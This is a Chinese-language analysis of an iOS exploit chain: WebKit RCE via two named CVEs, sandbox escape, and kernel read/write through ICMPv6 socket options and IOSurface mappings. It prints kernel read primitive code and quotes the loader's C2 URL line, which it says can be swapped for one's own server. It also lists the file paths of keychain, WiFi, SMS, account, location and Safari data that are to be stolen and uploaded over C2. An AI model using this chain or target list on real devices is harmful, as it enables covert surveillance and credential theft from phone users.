根据代码分析, pe_main.js 主要是一个 内核读写漏洞利用工具 ,专注于获取内核级别的内存读写能力。
// 物理内存 OOB 读写
function physical_oob_read_mo(mo, mo_offset, size, offset, buffer)
function physical_oob_write_mo(mo, mo_offset, size, offset, buffer)
// 内核读写原语
function early_kread(where, read_buf, size)
function early_kwrite64(where, what)
function kread_length(address, buffer, size)
function kwrite_length(dst, src, size)
// 利用 ICMP6_FILTER setsockopt/getsockopt 进行内核读写
function early_kread(where, read_buf, size) {
set_target_kaddr(where); // 通过 ICMP socket
getsockopt(rw_socket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, ...);
}
// 创建 IOSurface 进行物理内存映射
function create_physically_contiguous_mapping(port, address, size)
function create_surface_with_address(address, size)
它只是一个 权限提升 + 内核读写 的工具,真正的数据窃取需要后续模块。
数据类型 路径 说明 钥匙串 /var/Keychains/keychain-ballot.db 存储密码、证书、密钥 WiFi 配置 /var/preferences/SystemConfiguration/com.apple.wifi.plist WiFi 密码 账户凭证 /var/mobile/Library/Accounts/ iCloud、邮件等账户 SMS/iMessage /var/mobile/Library/SMS/ 短信记录 通讯录 /var/mobile/Library/AddressBook/ 联系人 通话记录 /var/mobile/Library/CallHistory/ 通话历史 位置历史 /var/mobile/Library/Caches/locationd/ 定位历史 浏览器数据 /var/mobile/Library/Safari/ 密码、历史、Cookie 照片元数据 /var/mobile/Media/DCIM/ 照片信息
┌─────────────────────────────────────────────────────────────┐
│ 1. rce_loader.js │
│ - 检测 iOS 版本 │
│ - 加载 rce_module.js / rce_worker_*.js │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 2. RCE (WebKit RCE) │
│ - CVE-2025-31277 (iOS 18.4) │
│ - CVE-2025-43529 (iOS 18.6) │
│ → 获得 JavaScriptCore 执行权限 │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 3. Sandbox Escape (sbx0_main_18.4.js / sbx1_main.js) │
│ → 绕过沙箱限制 │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 4. Privilege Escalation (pe_main.js) │
│ - 内核读写通过 ICMPv6 socket │
│ - IOSurface 物理内存映射 │
│ → 获得内核级读写能力 │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 5. 数据窃取(后续模块 / C2 下发) │
│ - 读取敏感文件 │
│ - 通过 C2 信道上传 │
│ - C2: static.cdncounter.net (已关闭?) │
└─────────────────────────────────────────────────────────────┘
在 rce_loader.js 第 9 行:
var localHost = "https://static.cdncounter.net/assets"
这个地址是默认 C2,但可以被替换为你的本地服务器地址(通过 --c2-host 参数)。
// pe_main.js 提供的内核读写能力
function kread64(address) {
let value = new_bigint();
early_kread(address, get_bigint_addr(value), 0x8n);
return update_bigint(value);
}
// 可以读取任意内核内存
let kernel_base = kread64(find_kernel_base());
let keychain_ptr = kread64(kernel_base + 0x12345678);
组件 功能 可获取数据 pe_main.js 内核读写 (krw) 内核内存任意读写 rce_loader.js 加载器 + C2 控制信标 rce_module.js RCE 模块 JS 执行 sbx*_main.js 沙箱逃逸 沙箱外执行
实际数据窃取 需要利用 pe_main.js 提供的内核读写能力去读取:
- 钥匙串数据库
- WiFi 配置
- 账户凭证
- 文件系统等 但具体的数据窃取逻辑(读取哪个文件、如何解析、如何上传) 不在 pe_main.js 里 ,而是通过 C2 信道接收指令或后续 payload 实现。